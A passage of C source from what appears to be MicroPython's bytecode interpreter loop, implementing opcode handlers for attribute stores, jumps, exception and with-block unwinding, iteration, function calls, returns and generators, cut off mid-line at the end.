DISPATCH();\n                }\n\n                #if !MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE\n                ENTRY(MP_BC_STORE_ATTR): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_QSTR;\n                    mp_store_attr(sp[0], qst, sp[-1]);\n                    sp -= 2;\n                    DISPATCH();\n                }\n                #else\n                // This caching code works with MICROPY_PY_BUILTINS_PROPERTY and/or\n                // MICROPY_PY_DESCRIPTORS enabled because if the attr exists in\n                // self->members then it can't be a property or have descriptors.  A\n                // consequence of this is that we can't use MP_MAP_LOOKUP_ADD_IF_NOT_FOUND\n                // in the fast-path below, because that store could override a property.\n                ENTRY(MP_BC_STORE_ATTR): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_QSTR;\n                    mp_obj_t top = TOP();\n                    if (mp_obj_get_type(top)->attr == mp_obj_instance_attr && sp[-1] != MP_OBJ_NULL) {\n                        mp_obj_instance_t *self = MP_OBJ_TO_PTR(top);\n                        mp_uint_t x = *ip;\n                        mp_obj_t key = MP_OBJ_NEW_QSTR(qst);\n                        mp_map_elem_t *elem;\n                        if (x < self->members.alloc && self->members.table[x].key == key) {\n                            elem = &self->members.table[x];\n                        } else {\n                            elem = mp_map_lookup(&self->members, key, MP_MAP_LOOKUP);\n                            if (elem != NULL) {\n                                *(byte*)ip = elem - &self->members.table[0];\n                            } else {\n                                goto store_attr_cache_fail;\n                            }\n                        }\n                        elem->value = sp[-1];\n                        sp -= 2;\n                        ip++;\n                        DISPATCH();\n                    }\n                store_attr_cache_fail:\n                    mp_store_attr(sp[0], qst, sp[-1]);\n                    sp -= 2;\n                    ip++;\n                    DISPATCH();\n                }\n                #endif\n\n                ENTRY(MP_BC_STORE_SUBSCR):\n                    MARK_EXC_IP_SELECTIVE();\n                    mp_obj_subscr(sp[-1], sp[0], sp[-2]);\n                    sp -= 3;\n                    DISPATCH();\n\n                ENTRY(MP_BC_DELETE_FAST): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_UINT;\n                    if (fastn[-unum] == MP_OBJ_NULL) {\n                        goto local_name_error;\n                    }\n                    fastn[-unum] = MP_OBJ_NULL;\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_DELETE_DEREF): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_UINT;\n                    if (mp_obj_cell_get(fastn[-unum]) == MP_OBJ_NULL) {\n                        goto local_name_error;\n                    }\n                    mp_obj_cell_set(fastn[-unum], MP_OBJ_NULL);\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_DELETE_NAME): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_QSTR;\n                    mp_delete_name(qst);\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_DELETE_GLOBAL): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_QSTR;\n                    mp_delete_global(qst);\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_DUP_TOP): {\n                    mp_obj_t top = TOP();\n                    PUSH(top);\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_DUP_TOP_TWO):\n                    sp += 2;\n                    sp[0] = sp[-2];\n                    sp[-1] = sp[-3];\n                    DISPATCH();\n\n                ENTRY(MP_BC_POP_TOP):\n                    sp -= 1;\n                    DISPATCH();\n\n                ENTRY(MP_BC_ROT_TWO): {\n                    mp_obj_t top = sp[0];\n                    sp[0] = sp[-1];\n                    sp[-1] = top;\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_ROT_THREE): {\n                    mp_obj_t top = sp[0];\n                    sp[0] = sp[-1];\n                    sp[-1] = sp[-2];\n                    sp[-2] = top;\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_JUMP): {\n                    DECODE_SLABEL;\n                    ip += slab;\n                    DISPATCH_WITH_PEND_EXC_CHECK();\n                }\n\n                ENTRY(MP_BC_POP_JUMP_IF_TRUE): {\n                    DECODE_SLABEL;\n                    if (mp_obj_is_true(POP())) {\n                        ip += slab;\n                    }\n                    DISPATCH_WITH_PEND_EXC_CHECK();\n                }\n\n                ENTRY(MP_BC_POP_JUMP_IF_FALSE): {\n                    DECODE_SLABEL;\n                    if (!mp_obj_is_true(POP())) {\n                        ip += slab;\n                    }\n                    DISPATCH_WITH_PEND_EXC_CHECK();\n                }\n\n                ENTRY(MP_BC_JUMP_IF_TRUE_OR_POP): {\n                    DECODE_SLABEL;\n                    if (mp_obj_is_true(TOP())) {\n                        ip += slab;\n                    } else {\n                        sp--;\n                    }\n                    DISPATCH_WITH_PEND_EXC_CHECK();\n                }\n\n                ENTRY(MP_BC_JUMP_IF_FALSE_OR_POP): {\n                    DECODE_SLABEL;\n                    if (mp_obj_is_true(TOP())) {\n                        sp--;\n                    } else {\n                        ip += slab;\n                    }\n                    DISPATCH_WITH_PEND_EXC_CHECK();\n                }\n\n                ENTRY(MP_BC_SETUP_WITH): {\n                    MARK_EXC_IP_SELECTIVE();\n                    // stack: (..., ctx_mgr)\n                    mp_obj_t obj = TOP();\n                    mp_load_method(obj, MP_QSTR___exit__, sp);\n                    mp_load_method(obj, MP_QSTR___enter__, sp + 2);\n                    mp_obj_t ret = mp_call_method_n_kw(0, 0, sp + 2);\n                    sp += 1;\n                    PUSH_EXC_BLOCK(1);\n                    PUSH(ret);\n                    // stack: (..., __exit__, ctx_mgr, as_value)\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_WITH_CLEANUP): {\n                    MARK_EXC_IP_SELECTIVE();\n                    // Arriving here, there's \"exception control block\" on top of stack,\n                    // and __exit__ method (with self) underneath it. Bytecode calls __exit__,\n                    // and \"deletes\" it off stack, shifting \"exception control block\"\n                    // to its place.\n                    // The bytecode emitter ensures that there is enough space on the Python\n                    // value stack to hold the __exit__ method plus an additional 4 entries.\n                    if (TOP() == mp_const_none) {\n                        // stack: (..., __exit__, ctx_mgr, None)\n                        sp[1] = mp_const_none;\n                        sp[2] = mp_const_none;\n                        sp -= 2;\n                        mp_call_method_n_kw(3, 0, sp);\n                        SET_TOP(mp_const_none);\n                    } else if (MP_OBJ_IS_SMALL_INT(TOP())) {\n                        mp_int_t cause_val = MP_OBJ_SMALL_INT_VALUE(TOP());\n                        if (cause_val == UNWIND_RETURN) {\n                            // stack: (..., __exit__, ctx_mgr, ret_val, UNWIND_RETURN)\n                            mp_obj_t ret_val = sp[-1];\n                            sp[-1] = mp_const_none;\n                            sp[0] = mp_const_none;\n                            sp[1] = mp_const_none;\n                            mp_call_method_n_kw(3, 0, sp - 3);\n                            sp[-3] = ret_val;\n                            sp[-2] = MP_OBJ_NEW_SMALL_INT(UNWIND_RETURN);\n                        } else {\n                            assert(cause_val == UNWIND_JUMP);\n                            // stack: (..., __exit__, ctx_mgr, dest_ip, num_exc, UNWIND_JUMP)\n                            mp_obj_t dest_ip = sp[-2];\n                            mp_obj_t num_exc = sp[-1];\n                            sp[-2] = mp_const_none;\n                            sp[-1] = mp_const_none;\n                            sp[0] = mp_const_none;\n                            mp_call_method_n_kw(3, 0, sp - 4);\n                            sp[-4] = dest_ip;\n                            sp[-3] = num_exc;\n                            sp[-2] = MP_OBJ_NEW_SMALL_INT(UNWIND_JUMP);\n                        }\n                        sp -= 2; // we removed (__exit__, ctx_mgr)\n                    } else {\n                        assert(mp_obj_is_exception_instance(TOP()));\n                        // stack: (..., __exit__, ctx_mgr, exc_instance)\n                        // Need to pass (exc_type, exc_instance, None) as arguments to __exit__.\n                        sp[1] = sp[0];\n                        sp[0] = MP_OBJ_FROM_PTR(mp_obj_get_type(sp[0]));\n                        sp[2] = mp_const_none;\n                        sp -= 2;\n                        mp_obj_t ret_value = mp_call_method_n_kw(3, 0, sp);\n                        if (mp_obj_is_true(ret_value)) {\n                            // We need to silence/swallow the exception.  This is done\n                            // by popping the exception and the __exit__ handler and\n                            // replacing it with None, which signals END_FINALLY to just\n                            // execute the finally handler normally.\n                            SET_TOP(mp_const_none);\n                            assert(exc_sp >= exc_stack);\n                            POP_EXC_BLOCK();\n                        } else {\n                            // We need to re-raise the exception.  We pop __exit__ handler\n                            // by copying the exception instance down to the new top-of-stack.\n                            sp[0] = sp[3];\n                        }\n                    }\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_UNWIND_JUMP): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_SLABEL;\n                    PUSH((mp_obj_t)(mp_uint_t)(uintptr_t)(ip + slab)); // push destination ip for jump\n                    PUSH((mp_obj_t)(mp_uint_t)(*ip)); // push number of exception handlers to unwind (0x80 bit set if we also need to pop stack)\nunwind_jump:;\n                    mp_uint_t unum = (mp_uint_t)POP(); // get number of exception handlers to unwind\n                    while ((unum & 0x7f) > 0) {\n                        unum -= 1;\n                        assert(exc_sp >= exc_stack);\n                        if (MP_TAGPTR_TAG1(exc_sp->val_sp)) {\n                            // Getting here the stack looks like:\n                            //     (..., X, dest_ip)\n                            // where X is pointed to by exc_sp->val_sp and in the case\n                            // of a \"with\" block contains the context manager info.\n                            // We're going to run \"finally\" code as a coroutine\n                            // (not calling it recursively). Set up a sentinel\n                            // on a stack so it can return back to us when it is\n                            // done (when WITH_CLEANUP or END_FINALLY reached).\n                            PUSH((mp_obj_t)unum); // push number of exception handlers left to unwind\n                            PUSH(MP_OBJ_NEW_SMALL_INT(UNWIND_JUMP)); // push sentinel\n                            ip = exc_sp->handler; // get exception handler byte code address\n                            exc_sp--; // pop exception handler\n                            goto dispatch_loop; // run the exception handler\n                        }\n                        POP_EXC_BLOCK();\n                    }\n                    ip = (const byte*)MP_OBJ_TO_PTR(POP()); // pop destination ip for jump\n                    if (unum != 0) {\n                        // pop the exhausted iterator\n                        sp -= MP_OBJ_ITER_BUF_NSLOTS;\n                    }\n                    DISPATCH_WITH_PEND_EXC_CHECK();\n                }\n\n                // matched against: POP_BLOCK or POP_EXCEPT (anything else?)\n                ENTRY(MP_BC_SETUP_EXCEPT):\n                ENTRY(MP_BC_SETUP_FINALLY): {\n                    MARK_EXC_IP_SELECTIVE();\n                    #if SELECTIVE_EXC_IP\n                    PUSH_EXC_BLOCK((code_state->ip[-1] == MP_BC_SETUP_FINALLY) ? 1 : 0);\n                    #else\n                    PUSH_EXC_BLOCK((code_state->ip[0] == MP_BC_SETUP_FINALLY) ? 1 : 0);\n                    #endif\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_END_FINALLY):\n                    MARK_EXC_IP_SELECTIVE();\n                    // if TOS is None, just pops it and continues\n                    // if TOS is an integer, finishes coroutine and returns control to caller\n                    // if TOS is an exception, reraises the exception\n                    if (TOP() == mp_const_none) {\n                        sp--;\n                    } else if (MP_OBJ_IS_SMALL_INT(TOP())) {\n                        // We finished \"finally\" coroutine and now dispatch back\n                        // to our caller, based on TOS value\n                        mp_unwind_reason_t reason = MP_OBJ_SMALL_INT_VALUE(POP());\n                        if (reason == UNWIND_RETURN) {\n                            goto unwind_return;\n                        } else {\n                            assert(reason == UNWIND_JUMP);\n                            goto unwind_jump;\n                        }\n                    } else {\n                        assert(mp_obj_is_exception_instance(TOP()));\n                        RAISE(TOP());\n                    }\n                    DISPATCH();\n\n                ENTRY(MP_BC_GET_ITER):\n                    MARK_EXC_IP_SELECTIVE();\n                    SET_TOP(mp_getiter(TOP(), NULL));\n                    DISPATCH();\n\n                // An iterator for a for-loop takes MP_OBJ_ITER_BUF_NSLOTS slots on\n                // the Python value stack.  These slots are either used to store the\n                // iterator object itself, or the first slot is MP_OBJ_NULL and\n                // the second slot holds a reference to the iterator object.\n                ENTRY(MP_BC_GET_ITER_STACK): {\n                    MARK_EXC_IP_SELECTIVE();\n                    mp_obj_t obj = TOP();\n                    mp_obj_iter_buf_t *iter_buf = (mp_obj_iter_buf_t*)sp;\n                    sp += MP_OBJ_ITER_BUF_NSLOTS - 1;\n                    obj = mp_getiter(obj, iter_buf);\n                    if (obj != MP_OBJ_FROM_PTR(iter_buf)) {\n                        // Iterator didn't use the stack so indicate that with MP_OBJ_NULL.\n                        sp[-MP_OBJ_ITER_BUF_NSLOTS + 1] = MP_OBJ_NULL;\n                        sp[-MP_OBJ_ITER_BUF_NSLOTS + 2] = obj;\n                    }\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_FOR_ITER): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_ULABEL; // the jump offset if iteration finishes; for labels are always forward\n                    code_state->sp = sp;\n                    mp_obj_t obj;\n                    if (sp[-MP_OBJ_ITER_BUF_NSLOTS + 1] == MP_OBJ_NULL) {\n                        obj = sp[-MP_OBJ_ITER_BUF_NSLOTS + 2];\n                    } else {\n                        obj = MP_OBJ_FROM_PTR(&sp[-MP_OBJ_ITER_BUF_NSLOTS + 1]);\n                    }\n                    mp_obj_t value = mp_iternext_allow_raise(obj);\n                    if (value == MP_OBJ_STOP_ITERATION) {\n                        sp -= MP_OBJ_ITER_BUF_NSLOTS; // pop the exhausted iterator\n                        ip += ulab; // jump to after for-block\n                    } else {\n                        PUSH(value); // push the next iteration value\n                    }\n                    DISPATCH();\n                }\n\n                // matched against: SETUP_EXCEPT, SETUP_FINALLY, SETUP_WITH\n                ENTRY(MP_BC_POP_BLOCK):\n                    // we are exiting an exception handler, so pop the last one of the exception-stack\n                    assert(exc_sp >= exc_stack);\n                    POP_EXC_BLOCK();\n                    DISPATCH();\n\n                // matched against: SETUP_EXCEPT\n                ENTRY(MP_BC_POP_EXCEPT):\n                    assert(exc_sp >= exc_stack);\n                    assert(currently_in_except_block);\n                    POP_EXC_BLOCK();\n                    DISPATCH();\n\n                ENTRY(MP_BC_BUILD_TUPLE): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_UINT;\n                    sp -= unum - 1;\n                    SET_TOP(mp_obj_new_tuple(unum, sp));\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_BUILD_LIST): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_UINT;\n                    sp -= unum - 1;\n                    SET_TOP(mp_obj_new_list(unum, sp));\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_BUILD_MAP): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_UINT;\n                    PUSH(mp_obj_new_dict(unum));\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_STORE_MAP):\n                    MARK_EXC_IP_SELECTIVE();\n                    sp -= 2;\n                    mp_obj_dict_store(sp[0], sp[2], sp[1]);\n                    DISPATCH();\n\n#if MICROPY_PY_BUILTINS_SET\n                ENTRY(MP_BC_BUILD_SET): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_UINT;\n                    sp -= unum - 1;\n                    SET_TOP(mp_obj_new_set(unum, sp));\n                    DISPATCH();\n                }\n#endif\n\n#if MICROPY_PY_BUILTINS_SLICE\n                ENTRY(MP_BC_BUILD_SLICE): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_UINT;\n                    if (unum == 2) {\n                        mp_obj_t stop = POP();\n                        mp_obj_t start = TOP();\n                        SET_TOP(mp_obj_new_slice(start, stop, mp_const_none));\n                    } else {\n                        mp_obj_t step = POP();\n                        mp_obj_t stop = POP();\n                        mp_obj_t start = TOP();\n                        SET_TOP(mp_obj_new_slice(start, stop, step));\n                    }\n                    DISPATCH();\n                }\n#endif\n\n                ENTRY(MP_BC_STORE_COMP): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_UINT;\n                    mp_obj_t obj = sp[-(unum >> 2)];\n                    if ((unum & 3) == 0) {\n                        mp_obj_list_append(obj, sp[0]);\n                        sp--;\n                    } else if (!MICROPY_PY_BUILTINS_SET || (unum & 3) == 1) {\n                        mp_obj_dict_store(obj, sp[0], sp[-1]);\n                        sp -= 2;\n                    #if MICROPY_PY_BUILTINS_SET\n                    } else {\n                        mp_obj_set_store(obj, sp[0]);\n                        sp--;\n                    #endif\n                    }\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_UNPACK_SEQUENCE): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_UINT;\n                    mp_unpack_sequence(sp[0], unum, sp);\n                    sp += unum - 1;\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_UNPACK_EX): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_UINT;\n                    mp_unpack_ex(sp[0], unum, sp);\n                    sp += (unum & 0xff) + ((unum >> 8) & 0xff);\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_MAKE_FUNCTION): {\n                    DECODE_PTR;\n                    PUSH(mp_make_function_from_raw_code(ptr, MP_OBJ_NULL, MP_OBJ_NULL));\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_MAKE_FUNCTION_DEFARGS): {\n                    DECODE_PTR;\n                    // Stack layout: def_tuple def_dict <- TOS\n                    mp_obj_t def_dict = POP();\n                    SET_TOP(mp_make_function_from_raw_code(ptr, TOP(), def_dict));\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_MAKE_CLOSURE): {\n                    DECODE_PTR;\n                    size_t n_closed_over = *ip++;\n                    // Stack layout: closed_overs <- TOS\n                    sp -= n_closed_over - 1;\n                    SET_TOP(mp_make_closure_from_raw_code(ptr, n_closed_over, sp));\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_MAKE_CLOSURE_DEFARGS): {\n                    DECODE_PTR;\n                    size_t n_closed_over = *ip++;\n                    // Stack layout: def_tuple def_dict closed_overs <- TOS\n                    sp -= 2 + n_closed_over - 1;\n                    SET_TOP(mp_make_closure_from_raw_code(ptr, 0x100 | n_closed_over, sp));\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_CALL_FUNCTION): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_UINT;\n                    // unum & 0xff == n_positional\n                    // (unum >> 8) & 0xff == n_keyword\n                    sp -= (unum & 0xff) + ((unum >> 7) & 0x1fe);\n                    #if MICROPY_STACKLESS\n                    if (mp_obj_get_type(*sp) == &mp_type_fun_bc) {\n                        code_state->ip = ip;\n                        code_state->sp = sp;\n                        code_state->exc_sp = MP_TAGPTR_MAKE(exc_sp, currently_in_except_block);\n                        mp_code_state_t *new_state = mp_obj_fun_bc_prepare_codestate(*sp, unum & 0xff, (unum >> 8) & 0xff, sp + 1);\n                        if (new_state) {\n                            new_state->prev = code_state;\n                            code_state = new_state;\n                            nlr_pop();\n                            goto run_code_state;\n                        }\n                        #if MICROPY_STACKLESS_STRICT\n                        else {\n                        deep_recursion_error:\n                            mp_exc_recursion_depth();\n                        }\n                        #endif\n                    }\n                    #endif\n                    SET_TOP(mp_call_function_n_kw(*sp, unum & 0xff, (unum >> 8) & 0xff, sp + 1));\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_CALL_FUNCTION_VAR_KW): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_UINT;\n                    // unum & 0xff == n_positional\n                    // (unum >> 8) & 0xff == n_keyword\n                    // We have following stack layout here:\n                    // fun arg0 arg1 ... kw0 val0 kw1 val1 ... seq dict <- TOS\n                    sp -= (unum & 0xff) + ((unum >> 7) & 0x1fe) + 2;\n                    #if MICROPY_STACKLESS\n                    if (mp_obj_get_type(*sp) == &mp_type_fun_bc) {\n                        code_state->ip = ip;\n                        code_state->sp = sp;\n                        code_state->exc_sp = MP_TAGPTR_MAKE(exc_sp, currently_in_except_block);\n\n                        mp_call_args_t out_args;\n                        mp_call_prepare_args_n_kw_var(false, unum, sp, &out_args);\n\n                        mp_code_state_t *new_state = mp_obj_fun_bc_prepare_codestate(out_args.fun,\n                            out_args.n_args, out_args.n_kw, out_args.args);\n                        m_del(mp_obj_t, out_args.args, out_args.n_alloc);\n                        if (new_state) {\n                            new_state->prev = code_state;\n                            code_state = new_state;\n                            nlr_pop();\n                            goto run_code_state;\n                        }\n                        #if MICROPY_STACKLESS_STRICT\n                        else {\n                            goto deep_recursion_error;\n                        }\n                        #endif\n                    }\n                    #endif\n                    SET_TOP(mp_call_method_n_kw_var(false, unum, sp));\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_CALL_METHOD): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_UINT;\n                    // unum & 0xff == n_positional\n                    // (unum >> 8) & 0xff == n_keyword\n                    sp -= (unum & 0xff) + ((unum >> 7) & 0x1fe) + 1;\n                    #if MICROPY_STACKLESS\n                    if (mp_obj_get_type(*sp) == &mp_type_fun_bc) {\n                        code_state->ip = ip;\n                        code_state->sp = sp;\n                        code_state->exc_sp = MP_TAGPTR_MAKE(exc_sp, currently_in_except_block);\n\n                        size_t n_args = unum & 0xff;\n                        size_t n_kw = (unum >> 8) & 0xff;\n                        int adjust = (sp[1] == MP_OBJ_NULL) ? 0 : 1;\n\n                        mp_code_state_t *new_state = mp_obj_fun_bc_prepare_codestate(*sp, n_args + adjust, n_kw, sp + 2 - adjust);\n                        if (new_state) {\n                            new_state->prev = code_state;\n                            code_state = new_state;\n                            nlr_pop();\n                            goto run_code_state;\n                        }\n                        #if MICROPY_STACKLESS_STRICT\n                        else {\n                            goto deep_recursion_error;\n                        }\n                        #endif\n                    }\n                    #endif\n                    SET_TOP(mp_call_method_n_kw(unum & 0xff, (unum >> 8) & 0xff, sp));\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_CALL_METHOD_VAR_KW): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_UINT;\n                    // unum & 0xff == n_positional\n                    // (unum >> 8) & 0xff == n_keyword\n                    // We have following stack layout here:\n                    // fun self arg0 arg1 ... kw0 val0 kw1 val1 ... seq dict <- TOS\n                    sp -= (unum & 0xff) + ((unum >> 7) & 0x1fe) + 3;\n                    #if MICROPY_STACKLESS\n                    if (mp_obj_get_type(*sp) == &mp_type_fun_bc) {\n                        code_state->ip = ip;\n                        code_state->sp = sp;\n                        code_state->exc_sp = MP_TAGPTR_MAKE(exc_sp, currently_in_except_block);\n\n                        mp_call_args_t out_args;\n                        mp_call_prepare_args_n_kw_var(true, unum, sp, &out_args);\n\n                        mp_code_state_t *new_state = mp_obj_fun_bc_prepare_codestate(out_args.fun,\n                            out_args.n_args, out_args.n_kw, out_args.args);\n                        m_del(mp_obj_t, out_args.args, out_args.n_alloc);\n                        if (new_state) {\n                            new_state->prev = code_state;\n                            code_state = new_state;\n                            nlr_pop();\n                            goto run_code_state;\n                        }\n                        #if MICROPY_STACKLESS_STRICT\n                        else {\n                            goto deep_recursion_error;\n                        }\n                        #endif\n                    }\n                    #endif\n                    SET_TOP(mp_call_method_n_kw_var(true, unum, sp));\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_RETURN_VALUE):\n                    MARK_EXC_IP_SELECTIVE();\n                    // These next 3 lines pop a try-finally exception handler, if one\n                    // is there on the exception stack.  Without this the finally block\n                    // is executed a second time when the return is executed, because\n                    // the try-finally exception handler is still on the stack.\n                    // TODO Possibly find a better way to handle this case.\n                    if (currently_in_except_block) {\n                        POP_EXC_BLOCK();\n                    }\nunwind_return:\n                    while (exc_sp >= exc_stack) {\n                        if (MP_TAGPTR_TAG1(exc_sp->val_sp)) {\n                            // Getting here the stack looks like:\n                            //     (..., X, [iter0, iter1, ...,] ret_val)\n                            // where X is pointed to by exc_sp->val_sp and in the case\n                            // of a \"with\" block contains the context manager info.\n                            // There may be 0 or more for-iterators between X and the\n                            // return value, and these must be removed before control can\n                            // pass to the finally code.  We simply copy the ret_value down\n                            // over these iterators, if they exist.  If they don't then the\n                            // following is a null operation.\n                            mp_obj_t *finally_sp = MP_TAGPTR_PTR(exc_sp->val_sp);\n                            finally_sp[1] = sp[0];\n                            sp = &finally_sp[1];\n                            // We're going to run \"finally\" code as a coroutine\n                            // (not calling it recursively). Set up a sentinel\n                            // on a stack so it can return back to us when it is\n                            // done (when WITH_CLEANUP or END_FINALLY reached).\n                            PUSH(MP_OBJ_NEW_SMALL_INT(UNWIND_RETURN));\n                            ip = exc_sp->handler;\n                            exc_sp--;\n                            goto dispatch_loop;\n                        }\n                        exc_sp--;\n                    }\n                    nlr_pop();\n                    code_state->sp = sp;\n                    assert(exc_sp == exc_stack - 1);\n                    MICROPY_VM_HOOK_RETURN\n                    #if MICROPY_STACKLESS\n                    if (code_state->prev != NULL) {\n                        mp_obj_t res = *sp;\n                        mp_globals_set(code_state->old_globals);\n                        code_state = code_state->prev;\n                        *code_state->sp = res;\n                        goto run_code_state;\n                    }\n                    #endif\n                    return MP_VM_RETURN_NORMAL;\n\n                ENTRY(MP_BC_RAISE_VARARGS): {\n                    MARK_EXC_IP_SELECTIVE();\n                    mp_uint_t unum = *ip++;\n                    mp_obj_t obj;\n                    if (unum == 2) {\n                        mp_warning(\"exception chaining not supported\");\n                        // ignore (pop) \"from\" argument\n                        sp--;\n                    }\n                    if (unum == 0) {\n                        // search for the inner-most previous exception, to reraise it\n                        obj = MP_OBJ_NULL;\n                        for (mp_exc_stack_t *e = exc_sp; e >= exc_stack; e--) {\n                            if (e->prev_exc != NULL) {\n                                obj = MP_OBJ_FROM_PTR(e->prev_exc);\n                                break;\n                            }\n                        }\n                        if (obj == MP_OBJ_NULL) {\n                            obj = mp_obj_new_exception_msg(&mp_type_RuntimeError, \"No active exception to reraise\");\n                            RAISE(obj);\n                        }\n                    } else {\n                        obj = POP();\n                    }\n                    obj = mp_make_raise_obj(obj);\n                    RAISE(obj);\n                }\n\n                ENTRY(MP_BC_YIELD_VALUE):\nyield:\n                    nlr_pop();\n                    code_state->ip = ip;\n                    code_state->sp = sp;\n                    code_state->exc_sp = MP_TAGPTR_MAKE(exc_sp, currently_in_except_block);\n                    return MP_VM_RETURN_YIELD;\n\n                ENTRY(MP_BC_YIELD_FROM): {\n                    MARK_EXC_IP_SELECTIVE();\n//#define EXC_MATCH(exc, type) MP_OBJ_IS_TYPE(exc, type)\n#define EXC_MATCH(exc, type) mp_obj_exception_match(exc, type)\n#define GENERATOR_EXIT_IF_NEEDED(t) if (t != MP_OBJ_NULL && EXC_MATCH(t, MP_OBJ_FROM_PTR(&mp_type_GeneratorExit))) { RAISE(t); }\n                    mp_vm_return_kind_t ret_kind;\n                    mp_obj_t send_value = POP();\n                    mp_obj_t t_exc = MP_OBJ_NULL;\n                    mp_obj_t ret_value;\n                    if (inject_exc != MP_OBJ_NULL) {\n                        t_exc = inject_exc;\n                        inject_exc = MP_OBJ_NULL;\n                        ret_kind = mp_resume(TOP(), MP_OBJ_NULL, t_exc, &ret_value);\n                    } else {\n                        ret_kind = mp_resume(TOP(), send_value, MP_OBJ_NULL, &ret_value);\n                    }\n\n                    if (ret_kind == MP_VM_RETURN_YIELD) {\n                        ip--;\n                        PUSH(ret_value);\n                        goto yield;\n                    } else if (ret_kind == MP_VM_RETURN_NORMAL) {\n                        // Pop exhausted gen\n                        sp--;\n                        // TODO: When ret_value can be MP_OBJ_NULL here??\n                        if (ret_value == MP_OBJ_NULL || ret_value == MP_OBJ_STOP_ITERATION) {\n                            // Optimize StopIteration\n                            // TODO: get StopIteration's value\n                            PUSH(mp_const_none);\n                        } else {\n                            PUSH(ret_value);\n                        }\n\n                        // If we injected GeneratorExit downstream, then even\n                        // if it was swallowed, we re-raise GeneratorExit\n                        GENERATOR_EXIT_IF_NEEDED(t_exc);\n                        DISPATCH();\n                    } else {\n                        assert(ret_kind == MP_VM_RETURN_EXCEPTION);\n                        // Pop exhausted gen\n                        sp--;\n                        if (EXC_MATCH(ret_value, MP_OBJ_FROM_PTR(&mp_type_StopIteration))) {\n                            PUSH(mp_obj_exception_get_value(ret_value));\n                            // If we injected GeneratorExit downstream, then even\n                            // if it was swallowed, we re-raise GeneratorExit\n                            GENERATOR_EXIT_IF_NEEDED(t_exc);\n                            DISPATCH();\n                        } else {\n                            RAISE(ret_value);\n                        }\n                    }\n                }\n\n                ENTRY(MP_BC_IMPORT_NAME): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_QSTR;\n                    mp_obj_t obj = POP();\n                    SET_TOP(mp_import_name(qst, obj, TOP()));\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_IMPORT_FROM): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_QSTR;\n                    mp_obj_t obj = mp_import_from(TOP(), qst);\n                    PUSH(obj);\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_IMPORT_STAR):\n                    MARK_EXC_IP_SELECTIVE();\n                    mp_import_all(POP());\n                    DISPATCH();\n\n#if MICROPY_OPT_COMPUTED_GOTO\n                ENTRY(MP_BC_LOAD_CONST_SMALL_INT_MULTI):\n                    PUSH(MP_OBJ_NEW_SMALL_INT((mp_int_t)ip[-1] - MP_BC_LOAD_CONST_SMALL_INT_MULTI - 16));\n                    DISPATCH();\n\n                ENTRY(MP_BC_LOAD_FAST_MULTI):\n                    obj_shared = fastn[MP_BC_LOAD_FAST_MULTI - (mp_int_t)ip[-1]];\n                    goto load_check;\n\n                ENTRY(MP_BC_STORE_FAST_MULTI):\n                    fastn[MP_BC_STORE_FAST_MULTI - (mp_int_t)ip[-1]] = POP();\n                    DISPATCH();\n\n                ENTRY(MP_BC_UNARY_OP_MULTI):\n                    MARK_EXC_IP_SELECTIVE();\n                    SET_TOP(mp_unary_op(ip[-1] - MP_BC_UNARY_OP_MULTI, TOP()));\n                    DISPATCH();\n\n                ENTRY(MP_BC_BINARY_OP_MULTI): {\n                    MARK_EXC_IP_SELECTIVE();\n                    mp_obj_t rhs = POP();\n                    mp_obj_t lhs = TOP();\n                    SET_TOP(mp_binary_op(ip[-1] - MP_BC_BINARY_OP_MULTI, lhs, rhs));\n                    DISPATCH();\n                }\n\n                ENTRY_DEFAULT:\n                    MARK_EXC_IP_SELECTIVE();\n#else\n                ENTRY_DEFAULT:\n                    if (ip[-1] < 